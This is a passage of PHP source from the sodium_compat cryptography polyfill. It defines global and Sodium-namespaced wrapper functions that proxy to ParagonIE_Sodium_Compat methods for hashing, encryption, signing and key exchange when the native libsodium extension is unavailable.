$salt, $opslimit, $memlimit, $algo);
    }
}
if (!is_callable('sodium_crypto_pwhash_str')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_pwhash_str()
     * @param string $passwd
     * @param int $opslimit
     * @param int $memlimit
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_pwhash_str($passwd, $opslimit, $memlimit)
    {
        return ParagonIE_Sodium_Compat::crypto_pwhash_str($passwd,
$opslimit, $memlimit);
    }
}
if (!is_callable('sodium_crypto_pwhash_str_verify')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_pwhash_str_verify()
     * @param string $passwd
     * @param string $hash
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_pwhash_str_verify($passwd, $hash)
    {
        return ParagonIE_Sodium_Compat::crypto_pwhash_str_verify($passwd,
$hash);
    }
}
if (!is_callable('sodium_crypto_pwhash_scryptsalsa208sha256')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256()
     * @param int $outlen
     * @param string $passwd
     * @param string $salt
     * @param int $opslimit
     * @param int $memlimit
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_pwhash_scryptsalsa208sha256($outlen, $passwd,
$salt, $opslimit, $memlimit)
    {
        return
ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256($outlen,
$passwd, $salt, $opslimit, $memlimit);
    }
}
if
(!is_callable('sodium_crypto_pwhash_scryptsalsa208sha256_str')) {
    /**
     * @see
ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str()
     * @param string $passwd
     * @param int $opslimit
     * @param int $memlimit
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_pwhash_scryptsalsa208sha256_str($passwd,
$opslimit, $memlimit)
    {
        return
ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str($passwd,
$opslimit, $memlimit);
    }
}
if
(!is_callable('sodium_crypto_pwhash_scryptsalsa208sha256_str_verify'))
{
    /**
     * @see
ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str_verify()
     * @param string $passwd
     * @param string $hash
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_pwhash_scryptsalsa208sha256_str_verify($passwd,
$hash)
    {
        return
ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str_verify($passwd,
$hash);
    }
}
if (!is_callable('sodium_crypto_scalarmult')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_scalarmult()
     * @param string $n
     * @param string $p
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_scalarmult($n, $p)
    {
        return ParagonIE_Sodium_Compat::crypto_scalarmult($n, $p);
    }
}
if (!is_callable('sodium_crypto_scalarmult_base')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_scalarmult_base()
     * @param string $n
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_scalarmult_base($n)
    {
        return ParagonIE_Sodium_Compat::crypto_scalarmult_base($n);
    }
}
if (!is_callable('sodium_crypto_secretbox')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_secretbox()
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_secretbox($message, $nonce, $key)
    {
        return ParagonIE_Sodium_Compat::crypto_secretbox($message, $nonce,
$key);
    }
}
if (!is_callable('sodium_crypto_secretbox_keygen')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_secretbox_keygen()
     * @return string
     */
    function sodium_crypto_secretbox_keygen()
    {
        return ParagonIE_Sodium_Compat::crypto_secretbox_keygen();
    }
}
if (!is_callable('sodium_crypto_secretbox_open')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_secretbox_open()
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @return string|bool
     */
    function sodium_crypto_secretbox_open($message, $nonce, $key)
    {
        try {
            return ParagonIE_Sodium_Compat::crypto_secretbox_open($message,
$nonce, $key);
        } catch (Error $ex) {
            return false;
        } catch (Exception $ex) {
            return false;
        }
    }
}
if (!is_callable('sodium_crypto_shorthash')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_shorthash()
     * @param string $message
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_shorthash($message, $key = '')
    {
        return ParagonIE_Sodium_Compat::crypto_shorthash($message, $key);
    }
}
if (!is_callable('sodium_crypto_shorthash_keygen')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_shorthash_keygen()
     * @return string
     */
    function sodium_crypto_shorthash_keygen()
    {
        return ParagonIE_Sodium_Compat::crypto_shorthash_keygen();
    }
}
if (!is_callable('sodium_crypto_sign')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign()
     * @param string $message
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_sign($message, $sk)
    {
        return ParagonIE_Sodium_Compat::crypto_sign($message, $sk);
    }
}
if (!is_callable('sodium_crypto_sign_detached')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_detached()
     * @param string $message
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_sign_detached($message, $sk)
    {
        return ParagonIE_Sodium_Compat::crypto_sign_detached($message,
$sk);
    }
}
if (!is_callable('sodium_crypto_sign_keypair')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_keypair()
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_sign_keypair()
    {
        return ParagonIE_Sodium_Compat::crypto_sign_keypair();
    }
}
if (!is_callable('sodium_crypto_sign_open')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_open()
     * @param string $signedMessage
     * @param string $pk
     * @return string|bool
     */
    function sodium_crypto_sign_open($signedMessage, $pk)
    {
        try {
            return
ParagonIE_Sodium_Compat::crypto_sign_open($signedMessage, $pk);
        } catch (Error $ex) {
            return false;
        } catch (Exception $ex) {
            return false;
        }
    }
}
if (!is_callable('sodium_crypto_sign_publickey')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_publickey()
     * @param string $keypair
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_sign_publickey($keypair)
    {
        return ParagonIE_Sodium_Compat::crypto_sign_publickey($keypair);
    }
}
if (!is_callable('sodium_crypto_sign_publickey_from_secretkey'))
{
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_publickey_from_secretkey()
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_sign_publickey_from_secretkey($sk)
    {
        return
ParagonIE_Sodium_Compat::crypto_sign_publickey_from_secretkey($sk);
    }
}
if (!is_callable('sodium_crypto_sign_secretkey')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_secretkey()
     * @param string $keypair
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_sign_secretkey($keypair)
    {
        return ParagonIE_Sodium_Compat::crypto_sign_secretkey($keypair);
    }
}
if (!is_callable('sodium_crypto_sign_seed_keypair')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_seed_keypair()
     * @param string $seed
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_sign_seed_keypair($seed)
    {
        return ParagonIE_Sodium_Compat::crypto_sign_seed_keypair($seed);
    }
}
if (!is_callable('sodium_crypto_sign_verify_detached')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_verify_detached()
     * @param string $signature
     * @param string $message
     * @param string $pk
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_sign_verify_detached($signature, $message, $pk)
    {
        return
ParagonIE_Sodium_Compat::crypto_sign_verify_detached($signature, $message,
$pk);
    }
}
if (!is_callable('sodium_crypto_sign_ed25519_pk_to_curve25519'))
{
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_ed25519_pk_to_curve25519()
     * @param string $pk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_sign_ed25519_pk_to_curve25519($pk)
    {
        return
ParagonIE_Sodium_Compat::crypto_sign_ed25519_pk_to_curve25519($pk);
    }
}
if (!is_callable('sodium_crypto_sign_ed25519_sk_to_curve25519'))
{
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_ed25519_sk_to_curve25519()
     * @param string $sk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_sign_ed25519_sk_to_curve25519($sk)
    {
        return
ParagonIE_Sodium_Compat::crypto_sign_ed25519_sk_to_curve25519($sk);
    }
}
if (!is_callable('sodium_crypto_stream')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_stream()
     * @param int $len
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_stream($len, $nonce, $key)
    {
        return ParagonIE_Sodium_Compat::crypto_stream($len, $nonce, $key);
    }
}
if (!is_callable('sodium_crypto_stream_keygen')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_stream_keygen()
     * @return string
     */
    function sodium_crypto_stream_keygen()
    {
        return ParagonIE_Sodium_Compat::crypto_stream_keygen();
    }
}
if (!is_callable('sodium_crypto_stream_xor')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_stream_xor()
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_crypto_stream_xor($message, $nonce, $key)
    {
        return ParagonIE_Sodium_Compat::crypto_stream_xor($message, $nonce,
$key);
    }
}
if (!is_callable('sodium_hex2bin')) {
    /**
     * @see ParagonIE_Sodium_Compat::hex2bin()
     * @param string $string
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_hex2bin($string)
    {
        return ParagonIE_Sodium_Compat::hex2bin($string);
    }
}
if (!is_callable('sodium_increment')) {
    /**
     * @see ParagonIE_Sodium_Compat::increment()
     * @param &string $string
     * @return void
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_increment(&$string)
    {
        ParagonIE_Sodium_Compat::increment($string);
    }
}
if (!is_callable('sodium_library_version_major')) {
    /**
     * @see ParagonIE_Sodium_Compat::library_version_major()
     * @return int
     */
    function sodium_library_version_major()
    {
        return ParagonIE_Sodium_Compat::library_version_major();
    }
}
if (!is_callable('sodium_library_version_minor')) {
    /**
     * @see ParagonIE_Sodium_Compat::library_version_minor()
     * @return int
     */
    function sodium_library_version_minor()
    {
        return ParagonIE_Sodium_Compat::library_version_minor();
    }
}
if (!is_callable('sodium_version_string')) {
    /**
     * @see ParagonIE_Sodium_Compat::version_string()
     * @return string
     */
    function sodium_version_string()
    {
        return ParagonIE_Sodium_Compat::version_string();
    }
}
if (!is_callable('sodium_memcmp')) {
    /**
     * @see ParagonIE_Sodium_Compat::memcmp()
     * @param string $a
     * @param string $b
     * @return int
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_memcmp($a, $b)
    {
        return ParagonIE_Sodium_Compat::memcmp($a, $b);
    }
}
if (!is_callable('sodium_memzero')) {
    /**
     * @see ParagonIE_Sodium_Compat::memzero()
     * @param string &$str
     * @return void
     * @throws SodiumException
     * @throws TypeError
     */
    function sodium_memzero(&$str)
    {
        ParagonIE_Sodium_Compat::memzero($str);
    }
}
if (!is_callable('sodium_randombytes_buf')) {
    /**
     * @see ParagonIE_Sodium_Compat::randombytes_buf()
     * @param int $amount
     * @return string
     * @throws Exception
     */
    function sodium_randombytes_buf($amount)
    {
        return ParagonIE_Sodium_Compat::randombytes_buf($amount);
    }
}

if (!is_callable('sodium_randombytes_uniform')) {
    /**
     * @see ParagonIE_Sodium_Compat::randombytes_uniform()
     * @param int $upperLimit
     * @return int
     * @throws Exception
     */
    function sodium_randombytes_uniform($upperLimit)
    {
        return ParagonIE_Sodium_Compat::randombytes_uniform($upperLimit);
    }
}

if (!is_callable('sodium_randombytes_random16')) {
    /**
     * @see ParagonIE_Sodium_Compat::randombytes_random16()
     * @return int
     */
    function sodium_randombytes_random16()
    {
        return ParagonIE_Sodium_Compat::randombytes_random16();
    }
}
<?php
namespace Sodium;

use ParagonIE_Sodium_Compat;

/**
 * This file will monkey patch the pure-PHP implementation in place of the
 * PECL functions, but only if they do not already exist.
 *
 * Thus, the functions just proxy to the appropriate
ParagonIE_Sodium_Compat
 * method.
 */
if (!is_callable('\\Sodium\\bin2hex')) {
    /**
     * @see ParagonIE_Sodium_Compat::bin2hex()
     * @param string $string
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function bin2hex($string)
    {
        return ParagonIE_Sodium_Compat::bin2hex($string);
    }
}
if (!is_callable('\\Sodium\\compare')) {
    /**
     * @see ParagonIE_Sodium_Compat::compare()
     * @param string $a
     * @param string $b
     * @return int
     * @throws \SodiumException
     * @throws \TypeError
     */
    function compare($a, $b)
    {
        return ParagonIE_Sodium_Compat::compare($a, $b);
    }
}
if (!is_callable('\\Sodium\\crypto_aead_aes256gcm_decrypt')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_decrypt()
     * @param string $message
     * @param string $assocData
     * @param string $nonce
     * @param string $key
     * @return string|bool
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_aead_aes256gcm_decrypt($message, $assocData, $nonce,
$key)
    {
        try {
            return
ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_decrypt($message,
$assocData, $nonce, $key);
        } catch (Error $ex) {
            return false;
        } catch (Exception $ex) {
            return false;
        }
    }
}
if (!is_callable('\\Sodium\\crypto_aead_aes256gcm_encrypt')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_encrypt()
     * @param string $message
     * @param string $assocData
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_aead_aes256gcm_encrypt($message, $assocData, $nonce,
$key)
    {
        return
ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_encrypt($message,
$assocData, $nonce, $key);
    }
}
if (!is_callable('\\Sodium\\crypto_aead_aes256gcm_is_available'))
{
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_is_available()
     * @return bool
     */
    function crypto_aead_aes256gcm_is_available()
    {
        return
ParagonIE_Sodium_Compat::crypto_aead_aes256gcm_is_available();
    }
}
if
(!is_callable('\\Sodium\\crypto_aead_chacha20poly1305_decrypt'))
{
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_decrypt()
     * @param string $message
     * @param string $assocData
     * @param string $nonce
     * @param string $key
     * @return string|bool
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_aead_chacha20poly1305_decrypt($message, $assocData,
$nonce, $key)
    {
        try {
            return
ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_decrypt($message,
$assocData, $nonce, $key);
        } catch (Error $ex) {
            return false;
        } catch (Exception $ex) {
            return false;
        }
    }
}
if
(!is_callable('\\Sodium\\crypto_aead_chacha20poly1305_encrypt'))
{
    /**
     * @see ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_encrypt()
     * @param string $message
     * @param string $assocData
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_aead_chacha20poly1305_encrypt($message, $assocData,
$nonce, $key)
    {
        return
ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_encrypt($message,
$assocData, $nonce, $key);
    }
}
if
(!is_callable('\\Sodium\\crypto_aead_chacha20poly1305_ietf_decrypt'))
{
    /**
     * @see
ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_decrypt()
     * @param string $message
     * @param string $assocData
     * @param string $nonce
     * @param string $key
     * @return string|bool
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_aead_chacha20poly1305_ietf_decrypt($message,
$assocData, $nonce, $key)
    {
        try {
            return
ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_decrypt($message,
$assocData, $nonce, $key);
        } catch (Error $ex) {
            return false;
        } catch (Exception $ex) {
            return false;
        }
    }
}
if
(!is_callable('\\Sodium\\crypto_aead_chacha20poly1305_ietf_encrypt'))
{
    /**
     * @see
ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_encrypt()
     * @param string $message
     * @param string $assocData
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_aead_chacha20poly1305_ietf_encrypt($message,
$assocData, $nonce, $key)
    {
        return
ParagonIE_Sodium_Compat::crypto_aead_chacha20poly1305_ietf_encrypt($message,
$assocData, $nonce, $key);
    }
}
if (!is_callable('\\Sodium\\crypto_auth')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_auth()
     * @param string $message
     * @param string $key
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_auth($message, $key)
    {
        return ParagonIE_Sodium_Compat::crypto_auth($message, $key);
    }
}
if (!is_callable('\\Sodium\\crypto_auth_verify')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_auth_verify()
     * @param string $mac
     * @param string $message
     * @param string $key
     * @return bool
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_auth_verify($mac, $message, $key)
    {
        return ParagonIE_Sodium_Compat::crypto_auth_verify($mac, $message,
$key);
    }
}
if (!is_callable('\\Sodium\\crypto_box')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box()
     * @param string $message
     * @param string $nonce
     * @param string $kp
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_box($message, $nonce, $kp)
    {
        return ParagonIE_Sodium_Compat::crypto_box($message, $nonce, $kp);
    }
}
if (!is_callable('\\Sodium\\crypto_box_keypair')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_keypair()
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_box_keypair()
    {
        return ParagonIE_Sodium_Compat::crypto_box_keypair();
    }
}
if
(!is_callable('\\Sodium\\crypto_box_keypair_from_secretkey_and_publickey'))
{
    /**
     * @see
ParagonIE_Sodium_Compat::crypto_box_keypair_from_secretkey_and_publickey()
     * @param string $sk
     * @param string $pk
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_box_keypair_from_secretkey_and_publickey($sk, $pk)
    {
        return
ParagonIE_Sodium_Compat::crypto_box_keypair_from_secretkey_and_publickey($sk,
$pk);
    }
}
if (!is_callable('\\Sodium\\crypto_box_open')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_open()
     * @param string $message
     * @param string $nonce
     * @param string $kp
     * @return string|bool
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_box_open($message, $nonce, $kp)
    {
        try {
            return ParagonIE_Sodium_Compat::crypto_box_open($message,
$nonce, $kp);
        } catch (Error $ex) {
            return false;
        } catch (Exception $ex) {
            return false;
        }
    }
}
if (!is_callable('\\Sodium\\crypto_box_publickey')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_publickey()
     * @param string $keypair
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_box_publickey($keypair)
    {
        return ParagonIE_Sodium_Compat::crypto_box_publickey($keypair);
    }
}
if
(!is_callable('\\Sodium\\crypto_box_publickey_from_secretkey')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_publickey_from_secretkey()
     * @param string $sk
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_box_publickey_from_secretkey($sk)
    {
        return
ParagonIE_Sodium_Compat::crypto_box_publickey_from_secretkey($sk);
    }
}
if (!is_callable('\\Sodium\\crypto_box_seal')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_seal_open()
     * @param string $message
     * @param string $publicKey
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_box_seal($message, $publicKey)
    {
        return ParagonIE_Sodium_Compat::crypto_box_seal($message,
$publicKey);
    }
}
if (!is_callable('\\Sodium\\crypto_box_seal_open')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_seal_open()
     * @param string $message
     * @param string $kp
     * @return string|bool
     * @throws \TypeError
     */
    function crypto_box_seal_open($message, $kp)
    {
        try {
            return ParagonIE_Sodium_Compat::crypto_box_seal_open($message,
$kp);
        } catch (\Error $ex) {
            return false;
        } catch (\Exception $ex) {
            return false;
        }
    }
}
if (!is_callable('\\Sodium\\crypto_box_secretkey')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_box_secretkey()
     * @param string $keypair
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_box_secretkey($keypair)
    {
        return ParagonIE_Sodium_Compat::crypto_box_secretkey($keypair);
    }
}
if (!is_callable('\\Sodium\\crypto_generichash')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_generichash()
     * @param string $message
     * @param string|null $key
     * @param int $outLen
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_generichash($message, $key = null, $outLen = 32)
    {
        return ParagonIE_Sodium_Compat::crypto_generichash($message, $key,
$outLen);
    }
}
if (!is_callable('\\Sodium\\crypto_generichash_final')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_generichash_final()
     * @param string|null $ctx
     * @param int $outputLength
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_generichash_final(&$ctx, $outputLength = 32)
    {
        return ParagonIE_Sodium_Compat::crypto_generichash_final($ctx,
$outputLength);
    }
}
if (!is_callable('\\Sodium\\crypto_generichash_init')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_generichash_init()
     * @param string|null $key
     * @param int $outLen
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_generichash_init($key = null, $outLen = 32)
    {
        return ParagonIE_Sodium_Compat::crypto_generichash_init($key,
$outLen);
    }
}
if (!is_callable('\\Sodium\\crypto_generichash_update')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_generichash_update()
     * @param string|null $ctx
     * @param string $message
     * @return void
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_generichash_update(&$ctx, $message = '')
    {
        ParagonIE_Sodium_Compat::crypto_generichash_update($ctx, $message);
    }
}
if (!is_callable('\\Sodium\\crypto_kx')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_kx()
     * @param string $my_secret
     * @param string $their_public
     * @param string $client_public
     * @param string $server_public
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_kx($my_secret, $their_public, $client_public,
$server_public)
    {
        return ParagonIE_Sodium_Compat::crypto_kx(
            $my_secret,
            $their_public,
            $client_public,
            $server_public
        );
    }
}
if (!is_callable('\\Sodium\\crypto_pwhash')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_pwhash()
     * @param int $outlen
     * @param string $passwd
     * @param string $salt
     * @param int $opslimit
     * @param int $memlimit
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_pwhash($outlen, $passwd, $salt, $opslimit, $memlimit)
    {
        return ParagonIE_Sodium_Compat::crypto_pwhash($outlen, $passwd,
$salt, $opslimit, $memlimit);
    }
}
if (!is_callable('\\Sodium\\crypto_pwhash_str')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_pwhash_str()
     * @param string $passwd
     * @param int $opslimit
     * @param int $memlimit
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_pwhash_str($passwd, $opslimit, $memlimit)
    {
        return ParagonIE_Sodium_Compat::crypto_pwhash_str($passwd,
$opslimit, $memlimit);
    }
}
if (!is_callable('\\Sodium\\crypto_pwhash_str_verify')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_pwhash_str_verify()
     * @param string $passwd
     * @param string $hash
     * @return bool
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_pwhash_str_verify($passwd, $hash)
    {
        return ParagonIE_Sodium_Compat::crypto_pwhash_str_verify($passwd,
$hash);
    }
}
if (!is_callable('\\Sodium\\crypto_pwhash_scryptsalsa208sha256'))
{
    /**
     * @see ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256()
     * @param int $outlen
     * @param string $passwd
     * @param string $salt
     * @param int $opslimit
     * @param int $memlimit
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_pwhash_scryptsalsa208sha256($outlen, $passwd, $salt,
$opslimit, $memlimit)
    {
        return
ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256($outlen,
$passwd, $salt, $opslimit, $memlimit);
    }
}
if
(!is_callable('\\Sodium\\crypto_pwhash_scryptsalsa208sha256_str'))
{
    /**
     * @see
ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str()
     * @param string $passwd
     * @param int $opslimit
     * @param int $memlimit
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_pwhash_scryptsalsa208sha256_str($passwd, $opslimit,
$memlimit)
    {
        return
ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str($passwd,
$opslimit, $memlimit);
    }
}
if
(!is_callable('\\Sodium\\crypto_pwhash_scryptsalsa208sha256_str_verify'))
{
    /**
     * @see
ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str_verify()
     * @param string $passwd
     * @param string $hash
     * @return bool
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_pwhash_scryptsalsa208sha256_str_verify($passwd, $hash)
    {
        return
ParagonIE_Sodium_Compat::crypto_pwhash_scryptsalsa208sha256_str_verify($passwd,
$hash);
    }
}
if (!is_callable('\\Sodium\\crypto_scalarmult')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_scalarmult()
     * @param string $n
     * @param string $p
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_scalarmult($n, $p)
    {
        return ParagonIE_Sodium_Compat::crypto_scalarmult($n, $p);
    }
}
if (!is_callable('\\Sodium\\crypto_scalarmult_base')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_scalarmult_base()
     * @param string $n
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_scalarmult_base($n)
    {
        return ParagonIE_Sodium_Compat::crypto_scalarmult_base($n);
    }
}
if (!is_callable('\\Sodium\\crypto_secretbox')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_secretbox()
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_secretbox($message, $nonce, $key)
    {
        return ParagonIE_Sodium_Compat::crypto_secretbox($message, $nonce,
$key);
    }
}
if (!is_callable('\\Sodium\\crypto_secretbox_open')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_secretbox_open()
     * @param string $message
     * @param string $nonce
     * @param string $key
     * @return string|bool
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_secretbox_open($message, $nonce, $key)
    {
        try {
            return ParagonIE_Sodium_Compat::crypto_secretbox_open($message,
$nonce, $key);
        } catch (Error $ex) {
            return false;
        } catch (Exception $ex) {
            return false;
        }
    }
}
if (!is_callable('\\Sodium\\crypto_shorthash')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_shorthash()
     * @param string $message
     * @param string $key
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_shorthash($message, $key = '')
    {
        return ParagonIE_Sodium_Compat::crypto_shorthash($message, $key);
    }
}
if (!is_callable('\\Sodium\\crypto_sign')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign()
     * @param string $message
     * @param string $sk
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_sign($message, $sk)
    {
        return ParagonIE_Sodium_Compat::crypto_sign($message, $sk);
    }
}
if (!is_callable('\\Sodium\\crypto_sign_detached')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_detached()
     * @param string $message
     * @param string $sk
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_sign_detached($message, $sk)
    {
        return ParagonIE_Sodium_Compat::crypto_sign_detached($message,
$sk);
    }
}
if (!is_callable('\\Sodium\\crypto_sign_keypair')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_keypair()
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_sign_keypair()
    {
        return ParagonIE_Sodium_Compat::crypto_sign_keypair();
    }
}
if (!is_callable('\\Sodium\\crypto_sign_open')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_open()
     * @param string $signedMessage
     * @param string $pk
     * @return string|bool
     */
    function crypto_sign_open($signedMessage, $pk)
    {
        try {
            return
ParagonIE_Sodium_Compat::crypto_sign_open($signedMessage, $pk);
        } catch (\Error $ex) {
            return false;
        } catch (\Exception $ex) {
            return false;
        }
    }
}
if (!is_callable('\\Sodium\\crypto_sign_publickey')) {
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_publickey()
     * @param string $keypair
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_sign_publickey($keypair)
    {
        return ParagonIE_Sodium_Compat::crypto_sign_publickey($keypair);
    }
}
if
(!is_callable('\\Sodium\\crypto_sign_publickey_from_secretkey'))
{
    /**
     * @see ParagonIE_Sodium_Compat::crypto_sign_publickey_from_secretkey()
     * @param string $sk
     * @return string
     * @throws \SodiumException
     * @throws \TypeError
     */
    function crypto_sign_publickey_from_secretkey($sk)
    {
        return
